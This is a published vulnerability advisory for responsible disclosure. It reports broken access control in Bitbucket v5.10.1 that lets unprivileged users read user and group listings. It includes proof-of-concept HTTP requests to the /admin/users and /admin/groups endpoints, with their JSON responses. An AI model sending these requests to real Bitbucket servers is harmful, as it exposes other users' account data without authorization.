usd-2019-0015 | Bitbucket/v5.10.1

Advisory ID: usd-2019-0015
CVE number: N/A
Affected Version: v5.10.1
Vulnerability Type: Broken Access Control
Impact: Medium
First Pubslished: 2019-07-31
Last Update: 2019-05-27

Details

Security Risk: Medium
Vendor URL: https://www.atlassian.com/
Vendor Status: Not fixed
Advisory Status: Published

Introduction

Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others. These checks are performed after authentication and govern what ‘authorized’ users are allowed to do. Access control sounds like a simple task. However, this is insidiously difficult to implement correctly. A web application’s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.

PoC

The endpoints „/admin/users“ and „/admin/groups“ of an bitbucket instance are located in an administrative section, but can be used by unpriviliged users to request userdata saved by the application:

Request:

GET / admin/users?start=0&limit=50&avatarSize=48&filter=usd HTTP/1.1
Host: bitbucket.server
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD

Response:

HTTP/1.1 200
Cache-Control: no-cache, no-transform
Content-Type: application/json;charset=UTF-8
Date: Tue, 05 Mar 2019 09:14:38 GMT
Connection: close
Content-Length: 1849

{„size“:4,“limit“:50,“isLastPage“:true,“values“:[{„name“:“Nutzerkennung“,“id“:80947,“displayName“:“Usd Pentest 1, Georg“,“active“:true,“slug“:“Nutzerkennung“,“type“:“NORMAL“,“directoryName“:“Active Directory […]

Same access control issue with the „groups“ endpoint:

Request:
GET /admin/groups?start=0&limit=50&filter=usd HTTP/1.1
Host: bitbucket.server
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: BITBUCKETSESSIONID=A96AF1B941A4D22D49878E2FE1B6F2DD

Response:
HTTP/1.1 200
Cache-Control: no-cache, no-transform
Content-Type: application/json;charset=UTF-8
Date: Tue, 05 Mar 2019 09:14:38 GMT
Connection: close
Content-Length: 1849

{„size“:2,“limit“:50,“isLastPage“:true,“values“:[{„name“:“usd1″,“deletable“:true},{„name“:“usd2″,“deletable“:true}],“start“:0}

Fix

Protect endpoints, which provide sensitive functionalities, with proper access control.

Timeline

  • 2019-03-28 Vulnerability securily submitted to security@atlassian.com
  • 2019-04-11 Second contact attempt via contact formular
  • 2019-05-23 Atlassian Security Team agreed with the publishment of the advisory

Credits

This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers
on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.